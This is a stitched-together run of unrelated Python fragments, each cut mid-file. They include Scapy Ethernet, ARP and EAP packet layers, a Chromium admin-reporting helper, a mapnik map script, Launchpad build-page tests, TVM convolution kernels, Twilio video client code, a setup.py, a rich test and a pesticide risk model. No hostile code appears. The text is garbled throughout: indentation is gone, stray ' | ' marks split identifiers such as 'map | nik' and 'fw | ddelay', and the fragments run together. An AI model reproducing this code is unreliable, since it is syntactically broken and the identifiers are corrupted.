ip = next(iter(ip))
ip = inet_ntoa(inet_aton(ip))
tmp = inet_aton(ip)
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
iff,a,gw = conf.route.route(ip)
if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ):
return "ff:ff:ff:ff:ff:ff"
if gw != "0.0.0.0":
ip = gw
mac = conf.netcache.arp_cache.get(ip)
if mac:
return mac
res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip),
type=ETH_P_ARP,
iface = iff,
timeout=2,
verbose=0,
chainCC=chainCC,
nofilter=1)
if res is not None:
mac = res.payload.hwsrc
conf.netcache.arp_cache[ip] = mac
return mac
return None
### Fields
class DestMACField(MACField):
def __init__(self, name):
MACField.__init__(self, name, None)
class SourceMACField(MACField):
def __init__(self, name):
MACField.__init__(self, name, None)
class ARPSourceMACField(MACField):
def __init__(self, name):
MACField.__init__(self, name, None)
### Layers
ETHER_TYPES['802_AD'] = 0x88a8
class Ether(Packet):
name = "Ethernet"
fields_desc = [ MACField("dst","00:00:00:01:00:00"),
MACField("src","00:00:00:02:00:00"),
XShortEnumField("type", 0x9000, ETHER_TYPES) ]
def hashret(self):
return struct.pack("H",self.type)+self.payload.hashret()
def answers(self, other):
if isinstance(other,Ether):
if self.type == other.type:
return self.payload.answers(other.payload)
return 0
def mysummary(self):
return self.sprintf("%src% > %dst% (%type%)")
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
return Dot3
return cls
class Dot3(Packet):
name = "802.3"
fields_desc = [ DestMACField("dst"),
MACField("src", ETHER_ANY),
LenField("len", None, "H") ]
def extract_padding(self,s):
l = self.len
return s[:l],s[l:]
def answers(self, other):
if isinstance(other,Dot3):
return self.payload.answers(other.payload)
return 0
def mysummary(self):
return "802.3 %s > %s" % (self.src, self.dst)
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] > 1500:
return Ether
return cls
class LLC(Packet):
name = "LLC"
fields_desc = [ XByteField("dsap", 0x00),
XByteField("ssap", 0x00),
ByteField("ctrl", 0) ]
conf.neighbor.register_l3(Ether, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
conf.neighbor.register_l3(Dot3, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
class CookedLinux(Packet):
name = "cooked linux"
fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast",
4:"sent-by-us"}), #XXX incomplete
XShortField("lladdrtype",512),
ShortField("lladdrlen",0),
StrFixedLenField("src","",8),
XShortEnumField("proto",0x800,ETHER_TYPES) ]
class SNAP(Packet):
name = "SNAP"
fields_desc = [ X3BytesField("OUI",0x000000),
XShortEnumField("code", 0x000, ETHER_TYPES) ]
conf.neighbor.register_l3(Dot3, SNAP, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
class Dot1Q(Packet):
name = "802.1Q"
aliastypes = [ Ether ]
fields_desc = [ BitField("prio", 0, 3),
BitField("id", 0, 1),
BitField("vlan", 1, 12),
XShortEnumField("type", 0x0000, ETHER_TYPES) ]
def answers(self, other):
if isinstance(other,Dot1Q):
if ( (self.type == other.type) and
(self.vlan == other.vlan) ):
return self.payload.answers(other.payload)
else:
return self.payload.answers(other)
return 0
def default_payload_class(self, pay):
if self.type <= 1500:
return LLC
return conf.raw_layer
def extract_padding(self,s):
if self.type <= 1500:
return s[:self.type],s[self.type:]
return s,None
def mysummary(self):
if isinstance(self.underlayer, Ether):
return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%")
else:
return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%")
conf.neighbor.register_l3(Ether, Dot1Q, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
class STP(Packet):
name = "Spanning Tree Protocol"
fields_desc = [ ShortField("proto", 0),
ByteField("version", 0),
ByteField("bpdutype", 0),
ByteField("bpduflags", 0),
ShortField("rootid", 0),
MACField("rootmac", ETHER_ANY),
| IntField("pathcost", 0),
ShortField("bridgeid", 0),
MACField("bridgemac", ETHER_ANY),
ShortField("portid", 0),
BCDFloatField("age", 1),
BCDFloatField("maxage", 20),
BCDFloatField("hellotime", 2),
BCDFloatField("fw | ddelay", 15) ]
class EAPOL(Packet):
name = "EAPOL"
fields_desc = [ ByteField("version", 1),
ByteEnumField("type", 0, ["EAP_PACKET", "START", "LOGOFF", "KEY", "ASF"]),
LenField("len", None, "H") ]
EAP_PACKET= 0
START = 1
LOGOFF = 2
KEY = 3
ASF = 4
def extract_padding(self, s):
l = self.len
return s[:l],s[l:]
def hashret(self):
#return chr(self.type)+self.payload.hashret()
return bytes([self.type])+self.payload.hashret()
def answers(self, other):
if isinstance(other,EAPOL):
if ( (self.type == self.EAP_PACKET) and
(other.type == self.EAP_PACKET) ):
return self.payload.answers(other.payload)
return 0
def mysummary(self):
return self.sprintf("EAPOL %EAPOL.type%")
class EAP(Packet):
name = "EAP"
fields_desc = [ ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}),
ByteField("id", 0),
ShortField("len",None),
ConditionalField(ByteEnumField("type",0, {1:"ID",4:"MD5"}), lambda pkt:pkt.code not in [EAP.SUCCESS, EAP.FAILURE])
]
REQUEST = 1
RESPONSE = 2
SUCCESS = 3
FAILURE = 4
TYPE_ID = 1
TYPE_MD5 = 4
def answers(self, other):
if isinstance(other,EAP):
if self.code == self.REQUEST:
return 0
elif self.code == self.RESPONSE:
if ( (other.code == self.REQUEST) and
(other.type == self.type |
# Copyright 2021 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
from googleapiclient.discovery import build
from google.oauth2 import service_account
class RealTimeReportingServer():
SCOPES = ['https://www.googleapis.com/auth/admin.reports.audit.readonly']
USER_EMAIL = 'admin@beyondcorp.bigr.name'
def create_reports_service(self, user_email):
"""Build and returns an Admin SDK Reports service object authorized with
the service accounts that act on behalf of the given user.
Args:
user_email: The email of the user. Needs permissions to access
the Admin APIs.
Returns:
Admin SDK reports service object.
"""
localDir = os.path.dirname(os.path.abspath(__file__))
filePath = os.path.join(localDir, 'service_accountkey.json')
credentials = service_account.Credentials.from_service_account_file(
filePath, scopes=self.SCOPES)
delegatedCreds = credentials.create_delegated(user_email)
return build('admin', 'reports_v1', credentials=delegatedCreds)
def lookupevents(self, eventName, startTime, deviceId):
containsEvent = False
reportService = self.create_reports_service(self.USER_EMAIL)
results = reportService.activities().list(
| userKey='all',
applicationName='chrome',
customerId='C029rpj4z',
eventName=eventName,
startTime=startTime).execute()
activities = results.get('items', [])
for activity in activities:
for event in activity.get('events', []):
for parameter in event.get('parameters', []):
if parameter['name'] == 'DEVICE_ID' | and \
parameter['value'] in deviceId:
containsEvent = True
break
return containsEvent
|
import logging
import mapnik
import xml.etree.ElementTree as ET
import os
import subprocess
import tempfile
# Set up logging
logging.basicConfig(format="%(asctime)s|%(levelname)s|%(message)s", level=logging.INFO)
# Parameters
shpPath = "C:/Projects/BirthsAndPregnanciesMapping/data/2014-04-24/Zanzibar/Zanzibar.shp"
epsDir = "C:/Projects/BirthsAndPregnanciesMapping/results/eps"
max_img_size = 1000 # Max width or height of output image
# Create style
stroke = mapnik.Stroke()
stroke.color = mapnik.Color(0,0,0)
stroke.width = 1.0
symbolizer = mapnik.LineSymbolizer(stroke)
rule = map | nik.Rule()
rule.symbols.append(symbolizer)
style = mapnik.Style()
style.rules.append(rule)
# Create Datasource
datasource = mapnik.Shapefile(file=shpPath)
# Create layer
layer = mapnik.Layer("boun | daries")
layer.datasource = datasource
layer.styles.append("boundariesStyle")
# Calculate image output size
envelope = datasource.envelope()
dLong = envelope.maxx - envelope.minx
dLat = envelope.maxy - envelope.miny
aspectRatio = dLong / dLat
if dLong > dLat:
width = max_img_size
height = int(width / aspectRatio)
elif dLat > dLong:
height = max_img_size
width = int(aspectRatio * height)
else:
width = max_img_size
height = max_img_size
# Create map
map = mapnik.Map(width, height)
map.append_style("boundariesStyle", style)
map.layers.append(layer)
map.zoom_all()
# Output to temporary postscript file
outPsPath = os.path.join(tempfile.gettempdir(), "ZanzibarAdminBoundaries.ps")
mapnik.render_to_file(map, outPsPath)
# Convert postscript to EPS file using ghostscript
outEpsPath = os.path.join(epsDir, "ZanzibarAdminBoundaries.eps")
subprocess.call(["C:/Program Files/gs/gs9.14/bin/gswin64c",
"-dDEVICEWIDTHPOINTS=%s" % width,
"-dDEVICEHEIGHTPOINTS=%s" % height,
"-sDEVICE=eps2write",
"-o",
outEpsPath,
outPsPath])
# Delete temporary file
os.remove(outPsPath)
|
f, supports_virtualized=True)
def makeRecipeBuild(self):
"""Create and return a specific recipe."""
chocolate = self.factory.makeProduct(name='chocolate')
cake_branch = self.factory.makeProductBranch(
owner=self.chef, name='cake', product=chocolate)
recipe = self.factory.makeSourcePackageRecipe(
owner=self.chef, distroseries=self.squirrel, name=u'cake_recipe',
description=u'This recipe builds a foo for disto bar, with my'
' Secret Squirrel changes.', branches=[cake_branch],
daily_build_archive=self.ppa)
build = self.factory.makeSourcePackageRecipeBuild(
recipe=recipe)
return build
def test_cancel_build(self):
"""An admin can cancel a build."""
queue = self.factory.makeSourcePackageRecipeBuildJob()
build = queue.specific_job.build
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.admin)
browser.getLink('Cancel build').click()
self.assertEqual(
browser.getLink('Cancel').url,
build_url)
browser.getControl('Cancel build').click()
self.assertEqual(
browser.url,
build_url)
login(ANONYMOUS)
self.assertEqual(
BuildStatus.SUPERSEDED,
build.status)
def test_cancel_build_not_admin(self):
"""No one but an admin can cancel a build."""
queue = self.factory.makeSourcePackageRecipeBuildJob()
build = queue.specific_job.build
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.chef)
self.assertRaises(
LinkNotFoundError,
browser.getLink, 'Cancel build')
self.assertRaises(
Unauthorized,
self.getUserBrowser, build_url + '/+cancel', user=self.chef)
def test_cancel_build_wrong_state(self):
"""If the build isn't queued, you can't cancel it."""
build = self.makeRecipeBuild()
build.cancelBuild()
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.admin)
self.assertRaises(
LinkNotFoundError,
browser.getLink, 'Cancel build')
def test_rescore_build(self):
"""An admin can rescore a build."""
queue = self.factory.makeSourcePackageRecipeBuildJob()
build = queue.specific_job.build
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.admin)
browser.getLink('Rescore build').click()
self.assertEqual(
browser.getLink('Cancel').url,
build_url)
browser.getControl('Score').value = '1024'
browser.getControl('Rescore build').click()
self.assertEqual(
browser.url,
build_url)
login(ANONYMOUS)
self.assertEqual(
build.buildqueue_record.lastscore,
1024)
def test_rescore_build_invalid_score(self):
"""Build scores can only take numbers."""
queue = self.factory.makeSourcePackageRecipeBuildJob()
build = queue.specific_job.build
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.admin)
browser.getLink('Rescore build').click()
self.assertEqual(
browser.getLink('Cancel').url,
build_url)
browser.getControl('Score').value = 'tentwentyfour'
browser.getControl('Rescore build').click()
self.assertEqual(
extract_text(find_tags_by_class(browser.contents, 'message')[1]),
'Invalid integer data')
def test_rescore_build_not_admin(self):
"""No one but admin can rescore a build."""
queue = self.factory.makeSourcePackageRecipeBuildJob()
build = queue.specific_job.build
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.chef)
self.assertRaises(
LinkNotFoundError,
browser.getLink, 'Rescore build')
self.assertRaises(
Unauthorized | ,
self.getUserBrowser, build_url + '/+rescore', user=self.chef)
def test_rescore_build_wrong_state(self):
"""If the build isn't queued, you can't rescore it."""
build = self.makeRecipeBuild()
build.cancelBuild()
transaction.commit()
build_url = canonical_url(build)
logout()
browser = self.getUserBrowser(build_url, user=self.admin)
self.assertRaises(
LinkNotFoundError,
browser.getLink, 'R | escore build')
def test_rescore_build_wrong_state_stale_link(self):
"""Show sane error if you attempt to rescore a non-queued build.
This is the case where the user has a stale link that they click on.
"""
build = self.factory.makeSourcePackageRecipeBuild()
build.cancelBuild()
index_url = canonical_url(build)
browser = self.getViewBrowser(build, '+rescore', user=self.admin)
self.assertEqual(index_url, browser.url)
self.assertIn(
'Cannot rescore this build because it is not queued.',
browser.contents)
def test_rescore_build_wrong_state_stale_page(self):
"""Show sane error if you attempt to rescore a non-queued build.
This is the case where the user is on the rescore page and submits.
"""
build = self.factory.makeSourcePackageRecipeBuild()
index_url = canonical_url(build)
browser = self.getViewBrowser(build, '+rescore', user=self.admin)
with person_logged_in(self.admin):
build.cancelBuild()
browser.getLink('Rescore build').click()
self.assertEqual(index_url, browser.url)
self.assertIn(
'Cannot rescore this build because it is not queued.',
browser.contents)
def test_builder_history(self):
build = self.makeRecipeBuild()
Store.of(build).flush()
build_url = canonical_url(build)
build.updateStatus(
BuildStatus.FULLYBUILT, builder=self.factory.makeBuilder())
browser = self.getViewBrowser(build.builder, '+history')
self.assertTextMatchesExpressionIgnoreWhitespace(
'Build history.*~chef/chocolate/cake recipe build',
extract_text(find_main_content(browser.contents)))
self.assertEqual(build_url,
browser.getLink('~chef/chocolate/cake recipe build').url)
def makeBuildingRecipe(self, archive=None):
builder = self.factory.makeBuilder()
build = self.factory.makeSourcePackageRecipeBuild(archive=archive)
build.updateStatus(BuildStatus.BUILDING, builder=builder)
build.queueBuild()
build.buildqueue_record.builder = builder
build.buildqueue_record.logtail = 'i am failing'
return build
def makeNonRedirectingBrowser(self, url, user=None):
browser = setupBrowserForUser(user) if user else setupBrowser()
browser.mech_browser.set_handle_equiv(False)
browser.open(url)
return browser
def test_builder_index_public(self):
build = self.makeBuildingRecipe()
url = canonical_url(build.builder)
logout()
browser = self.makeNonRedirectingBrowser(url)
self.assertIn('i am failing', browser.contents)
def test_builder_index_private(self):
archive = self.factory.makeArchive(private=True)
with admin_logged_in():
build = self.makeBuildingRecipe(archive=archive)
url = canonical_url(removeSecurityProxy(build).builder)
random_person = self.factory.makePerson()
logout()
# An unrelated user can't see the logtail of a private build.
browser = s |
ort topi.testing
import xlwt
import argparse
import os
import ctypes
from tvm import autotvm
from tvm.autotvm.tuner import XGBTuner, GATuner, RandomTuner, GridSearchTuner
parser = argparse.ArgumentParser()
parser.add_argument("-d", nargs=1, type=str, default=["resnet3"])
args = parser.parse_args()
layer = args.d[0]
#Resnet-50 layers (excluding first layer)
_resnet_layers ={
'resnet2':[1,256,64,56,56,1,1,0],
'resnet3':[1,64,64,56,56,1,1,0],
'resnet4':[1,64,64,56,56,3,1,1],
'resnet5':[1,64,256,56,56,1,1,0],
'resnet6':[1,512,256,56,56,1,2,0],
'resnet7':[1,128,256,56,56,1,2,0],
'resnet8':[1,128,128,28,28,3,1,1],
'resnet9':[1,512,128,28,28,1,1,0],
'resnet10':[1,128,512,28,28,1,1,0],
'resnet11':[1,1024,512,28,28,1,2,0],
'resnet12':[1,256,512,28,28,1,2,0],
'resnet13':[1,256,256,14,14,3,1,1],
'resnet14':[1,1024,256,14,14,1,1,0],
'resnet15':[1,256,1024,14,14,1,1,0],
'resnet16':[1,2048,1024,14,14,1,2,0],
'resnet17':[1,512,1024,14,14,1,2,0],
'resnet18':[1,512,512,7,7,3,1,1],
'resnet19':[1,2048,512,7,7,1,1,0],
'resnet20':[1,512,2048,7,7,1,1,0]
}
'''
Convert input from NCHW format to NCHW16C format where the innermost data dimension is vectorized for AVX-512
'''
def convert_input(a_np, batch, in_channel,input_height,input_width,pad_height,pad_width,vlen,A):
to_return = np.zeros((batch, math.ceil(in_channel/vlen),input_height + 2*pad_height, input_width+ 2*pad_width,vlen),dtype = A.dtype)
for i in range(batch):
for j in range(math.ceil(in_channel/vlen)):
for k in range(input_height + 2*pad_height):
for l in range(input_width + 2*pad_width):
for m in range(vlen):
if k < pad_height or k >= input_height + pad_height or l < pad_width or l >= input_width+ pad_width or j*vlen + m >= in_channel:
to_return[i,j,k,l,m] = float(0)
else:
to_return[i,j,k,l,m] = a_np[i,j*vlen + m,k-pad_height,l-pad_width]
return to_return
'''
Convert output from NCHW format to NCHW16C format where the innermost data dimension is vectorized for AVX-512
'''
def convert_output(a_np, batch, out_channel,output_height,output_width,vlen):
to_return = np.zeros((batch, out_channel,output_height, output_width), dtype = float)
for i in range(batch):
for j in range(math.ceil(out_channel/vlen)):
for k in range(output_height):
for l in range(output_width):
for m in range(vlen):
to_return[i,j*vlen + m,k,l] = a_np[i,j,k,l,m]
return to_return
'''
Convert weights from KCRS format to KCRS16C16K format where the innermost data dimension is vectorized for AVX-512
'''
def convert_weight(w_np, in_channel, out_channel, kernel_height, kernel_width, vlen,W):
to_return = np.zeros((math.ceil(out_channel/vlen), math.ceil(in_channel/vlen),kernel_height, kernel_width,vlen,vlen), dtype = W.dtype)
for i in range(math.ceil(out_channel/vlen)):
for j in range(math.ceil(in_channel/vlen)):
for k in range(kernel_height):
for l in range(kernel_width):
for m in range(vlen):
for n in range(vlen):
if i*vlen + n >= out_channel or j*vlen + m >= in_channel:
to_return[i,j,k,l,m,n] =float(0)
else:
to_return[i,j,k,l,m,n] = w_np[i*vlen + n,j*vlen+ m,k,l]
return to_return
# Get the reference output tensor for correctness check
def get_ref_data(batch,out_channel,in_channel,input_height,input_width,kernel_height,kernel_width,stride_height,padding):
a_np = np.random.uniform(size=(batch,in_channel,input_height,input_width)).astype(float)
w_np = np.random.uniform(size=(out_channel,in_channel,kernel_height,kernel_width)).astype(float)
if batch == 1:
b_np = topi.testing.conv2d_nchw_python(a_np, w_np, stride_height, padding)
#b_np = topi.nn.conv2d_NCHWc(a_np, w_np,out_channel,kernel_height,stride_height,
# padding, layout="NCHWc", out_layout="NCHWc", out_dtype='float32')
if batch == 1:
return a_np, w_np, b_np
else:
return a_np, w_np
#special case for small height and width (e.g.. h = w = 7), where (h*w) becomes dimension of the brgemm (M)
def intrin_libxsmm_hxw(ofmblock,ofw,ifmblock, stride_width,ifw,rco, ifh,r,s, ifh_stride, ifw_stride,\
ofh, stride_height, out_channel,o | utput_height, output_width, in_channel):
last_input_width_index = (ofw-1)*stride_width + s-1
last_input_height_index = (ofh-1)*stride_height + r-1
ry = tvm.reduce_axis((0, r), name='ry')
rx = tvm.reduce_axis((0, s), name='rx')
A = tvm.placeholder((rco,r,s,ifmblock, ofmblock), name='w')
B = tvm.placeholder((rco,last_ | input_height_index + 1,last_input_width_index + 1,ifmblock), name='b')
k = tvm.reduce_axis((0, ifmblock), name='k')
k_outer = tvm.reduce_axis((0, rco), name='k_outer')
C = tvm.compute(
(ofh,ofw,ofmblock),
lambda z,m,n: tvm.sum(A[k_outer,ry,rx,k,n] * B[k_outer,ry + z*stride_height,rx + m*stride_width,k], axis=[k_outer,ry,rx,k]),
name='out')
s1 = tvm.create_schedule(C.op)
ifw1,ofw1,ofmblock1 = s1[C].op.axis
rco_outer,ry,rx,rci = s1[C].op.reduce_axis
s1[C].reorder(ifw1,rco_outer,ry,rx,ofw1,ofmblock1,rci)
xx_ptr = tvm.decl_buffer(A.shape, A.dtype,
name="W",offset_factor = 1,
data_alignment=64)
yy_ptr = tvm.decl_buffer(B.shape, B.dtype,
name="X",offset_factor=1,\
strides=[tvm.var("s3"),tvm.var("s2"), ifmblock, 1],#offset_factor=16
data_alignment=64)
zz_ptr = tvm.decl_buffer(C.shape, C.dtype,
name="OUT",offset_factor=1,#offset_factor=1,
strides=[output_width*ofmblock, ofmblock, 1],
data_alignment=64)
def intrin_func(ins, outs):
# tvm call extern is used to interface to libxsmm bacth reduce kernel gemm implementation
# rco*r*s is the number of batches
init_and_compute = tvm.call_extern ("int32","batch_reduce_kernel_init_update", ins[0].access_ptr("r"),ins[1].access_ptr("r"),outs[0].access_ptr("w"),\
rco*r*s,ofmblock,ifmblock,r,s,ifh_stride,ifw_stride, ofw*ofh, stride_width)
reset = tvm.call_extern ("int32","batch_reduce_kernel_init", outs[0].access_ptr("w"),ofmblock, ofw*ofh)
body = tvm.call_extern ("int32","batch_reduce_kernel_update", ins[0].access_ptr("r"),ins[1].access_ptr("r"),outs[0].access_ptr("w"), rco*r*s,ofmblock,\
ifmblock,ofw*ofh, stride_width,r,s, ifh_stride,ifw_stride)
if math.ceil(in_channel/ifmblock) == rco:
return init_and_compute, None, init_and_compute
else:
return init_and_compute,reset,body
with tvm.build_config(data_alignment=64):
return tvm.decl_tensor_intrin(C.op, intrin_func, name="GEMM",
binds= {A: xx_ptr,
B: yy_ptr,
C: zz_ptr})
# regular case of batch reduce gemm with ofw corresponding to batch reduce brgemm dimension(M)
def intrin_libxsmm_tuned(ofmblock,ofw,ifmblock, stride_width,ifw,rco, ifh,r,s, ifh_stride, ifw_stride, in_channel):
last_input_width_index = (ofw-1)*stride_width + s-1
A = tvm.placeholder((rco,r,s,ifmblock, ofmblock), name='w')
B = tvm.placeholder((rco,r,last_input_width_index + 1,ifmblock), name='b')
k = tvm.reduce_axis((0, ifmblock), name='k')
k_outer = tvm.reduce_axis((0, rco), name='k_outer')
ry = tvm.reduce_axis((0, r), name='ry')
rx = tvm.reduce_axis((0, s), name='rx')
C = tvm.compute(
(ofw,ofmblock),
lambda m,n: tvm.sum(A[k_outer,ry,rx,k,n] * B[k_outer,ry, rx + m*stride_width,k], axis=[k_outer,ry,rx,k]),
name='out')
s1 = tvm.create_schedule(C.op)
w,ofm = s1[ |
e SubscribedTrackPage
:param Version version: Version that contains the resource
:param Response response: Response from the API
:param room_sid: The SID of the room where the track is published
:param participant_sid: The SID of the participant that subscribes to the track
:returns: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackPage
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackPage
"""
super(SubscribedTrackPage, self).__init__(version, response)
# Path Solution
self._solution = solution
def get_instance(self, payload):
"""
Build an instance of SubscribedTrackInstance
:param dict payload: Payload response from the API
:returns: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
"""
return SubscribedTrackInstance(
self._version,
payload,
room_sid=self._solution['room_sid'],
participant_sid=self._solution['participant_sid'],
)
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
return '<Twilio.Video.V1.SubscribedTrackPage>'
class SubscribedTrackContext(InstanceContext):
""" """
def __init__(self, version, room_sid, participant_sid, sid):
"""
Initialize the SubscribedTrackContext
:param Version version: Version that contains the resource
:param room_sid: The SID of the Room where the Track resource to fetch is subscribed
:param participant_sid: The SID of the participant that subscribes to the Track resource to fetch
:param sid: The SID that identifies the resource to fetch
:returns: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackContext
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackContext
"""
super(SubscribedTrackContext, self).__init__(version)
# Path Solution
self._solution = {'room_sid': room_sid, 'participant_sid': participant_sid, 'sid': sid, }
self._uri = '/Rooms/{room_sid}/Participants/{participant_sid}/SubscribedTracks/{sid}'.format(**self._solution)
def fetch(self):
"""
Fetch a SubscribedTrackInstance
:returns: Fetched SubscribedTrackInstance
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
"""
params = values.of({})
payload = self._version.fetch(
'GET',
self._uri,
params=params,
)
return SubscribedTrackInstance(
self._version,
payload,
room_sid=self._solution['room_sid'],
participant_sid=self._solution['participant_sid'],
sid=self._solution['sid'],
)
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
context = ' '.join('{}={}'.format(k, v) for k, v in self._solution.items())
return '<Twilio.Video.V1.SubscribedTrackContext {}>'.format(context)
class SubscribedTrackInstance(InstanceResource):
""" """
class Kind(object):
AUDIO = "audio"
VIDEO = "video"
DATA = "data"
def __init__(self, version, payload, room_sid, participant_sid, sid=None):
"""
Initialize the SubscribedTrackInstance
:returns: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
"""
super(SubscribedTrackInstance, self).__init__(version)
# Marshaled Properties
self._properties = {
'sid': payload.get('sid'),
'participant_sid': payload.get('participant_sid'),
'publisher_sid': payload.get('publisher_sid'),
'room_sid': payload.get('room_sid'),
'name': payload.get('name'),
'date_created': deserialize.iso8601_datetime(payload.get('date_created')),
'date_updated': deserialize.iso8601_datetime(payload.get('date_updated')),
'enabled': payload.get('enabled'),
'kind': payload.get('kind'),
'url': payload.get('url' | ),
}
# Context
self._context = None
self._solution = {
'room_sid': room_sid,
'participant_sid': participant_sid,
'sid': sid or self._properties['sid'],
}
@property
def _proxy(self):
"""
Genera | te an instance context for the instance, the context is capable of
performing various actions. All instance actions are proxied to the context
:returns: SubscribedTrackContext for this SubscribedTrackInstance
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackContext
"""
if self._context is None:
self._context = SubscribedTrackContext(
self._version,
room_sid=self._solution['room_sid'],
participant_sid=self._solution['participant_sid'],
sid=self._solution['sid'],
)
return self._context
@property
def sid(self):
"""
:returns: The unique string that identifies the resource
:rtype: unicode
"""
return self._properties['sid']
@property
def participant_sid(self):
"""
:returns: The SID of the participant that subscribes to the track
:rtype: unicode
"""
return self._properties['participant_sid']
@property
def publisher_sid(self):
"""
:returns: The SID of the participant that publishes the track
:rtype: unicode
"""
return self._properties['publisher_sid']
@property
def room_sid(self):
"""
:returns: The SID of the room where the track is published
:rtype: unicode
"""
return self._properties['room_sid']
@property
def name(self):
"""
:returns: The track name
:rtype: unicode
"""
return self._properties['name']
@property
def date_created(self):
"""
:returns: The ISO 8601 date and time in GMT when the resource was created
:rtype: datetime
"""
return self._properties['date_created']
@property
def date_updated(self):
"""
:returns: The ISO 8601 date and time in GMT when the resource was last updated
:rtype: datetime
"""
return self._properties['date_updated']
@property
def enabled(self):
"""
:returns: Whether the track is enabled
:rtype: bool
"""
return self._properties['enabled']
@property
def kind(self):
"""
:returns: The track type
:rtype: SubscribedTrackInstance.Kind
"""
return self._properties['kind']
@property
def url(self):
"""
:returns: The absolute URL of the resource
:rtype: unicode
"""
return self._properties['url']
def fetch(self):
"""
Fetch a SubscribedTrackInstance
:returns: Fetched SubscribedTrackInstance
:rtype: twilio.rest.video.v1.room.room_participant.room_participant_subscribed_track.SubscribedTrackInstance
"""
return self._proxy.fetch()
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
context = ' '.join('{}={} |
#!/usr/bin/python
# coding=utf-8
from setuptools import setup, find_packages
setup(
name = "HEIGVD_TimetableParser",
version = "0.1",
packages = find_packages(),
install_requires = ['icalendar>=3.5', 'xlrd>=0.9.2'],
# metadata for upload to PyPI
author = "Leeroy Brun",
author_email = "leeroy.brun@gmail.com",
description | = "Transforme un horaire au format XLS provenant de l'intranet du département FEE de la HEIG-VD en un fichier ICS.",
license = "MIT",
keywords = "heig-vd ics xls fee",
url = | "https://github.com/leeroybrun/heigvd-timetable-parser",
)
|
import io
from rich.console import Console
from rich.measure import Measurement
from rich.styled import Styled
def test_styled():
styled_foo = Styled("foo", "on red")
console = Console(file=io.StringIO(), force_terminal=True, _environ={})
assert Measureme | nt.get(console, console.options, styled_foo) == Measurement(3, 3)
console.print(styled_foo)
result = console. | file.getvalue()
expected = "\x1b[41mfoo\x1b[0m\n"
assert result == expected
|
for NON-LISTED DICOT seedlings exposed to Pesticide X in SEMI-AQUATIC areas
"""
self.out_nds_rq_semi = self.out_total_semi / self.ec25_nonlisted_seedling_emergence_dicot
return self.out_nds_rq_semi
def loc_nds_semi(self):
"""
Level of concern for non-listed dicot seedlings exposed to pesticide X in semi-aquatic areas
"""
msg_pass = "The risk quotient for non-listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates a potential risk."
msg_fail = "The risk quotient for non-listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates that potential risk is minimal."
boo_ratios = [ratio >= 1.0 for ratio in self.out_nds_rq_semi]
self.out_nds_loc_semi = pd.Series([msg_pass if boo else msg_fail for boo in boo_ratios])
#exceed_boolean = self.out_nds_rq_semi >= 1.0
#self.out_nds_loc_semi = exceed_boolean.map(lambda x:
#'The risk quotient for non-listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates a potential risk.' if x == True
# else 'The risk quotient for non-listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates that potential risk is minimal.')
return self.out_nds_loc_semi
def nds_rq_spray(self):
"""
# Risk Quotient for NON-LISTED DICOT seedlings exposed to Pesticide X via SPRAY drift
"""
self.out_nds_rq_spray = self.out_spray / self.out_min_nds_spray
return self.out_nds_rq_spray
def loc_nds_spray(self):
"""
Level of concern for non-listed dicot seedlings exposed to pesticide X via spray drift
"""
msg_pass = "The risk quotient for non-listed dicot seedlings exposed to the pesticide via spray drift indicates a potential risk."
msg_fail = "The risk quotient for non-listed dicot seedlings exposed to the pesticide via spray drift indicates that potential risk is minimal."
boo_ratios = [ratio >= 1.0 for ratio in self.out_nds_rq_spray]
self.out_nds_loc_spray = pd.Series([msg_pass if boo else msg_fail for boo in boo_ratios])
